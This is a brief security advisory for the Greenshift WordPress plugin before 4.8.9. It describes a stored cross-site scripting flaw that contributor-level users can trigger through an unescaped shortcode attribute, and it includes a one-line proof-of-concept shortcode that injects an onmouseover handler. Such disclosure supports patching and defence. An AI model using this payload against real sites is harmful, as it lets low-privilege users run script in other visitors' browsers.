Greenshift – animation and page builder blocks < 4.8.9 - Contributor+ Stored XSS via Shortcode

The plugin does not validate and escape one of its shortcode attributes, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attack.

PoC

Exploit shortcode: [wp_reusable_render id=‘2’ ajax=‘true’ height=‘100px;width:100px;background:red;" onmouseover=“alert(1)”’]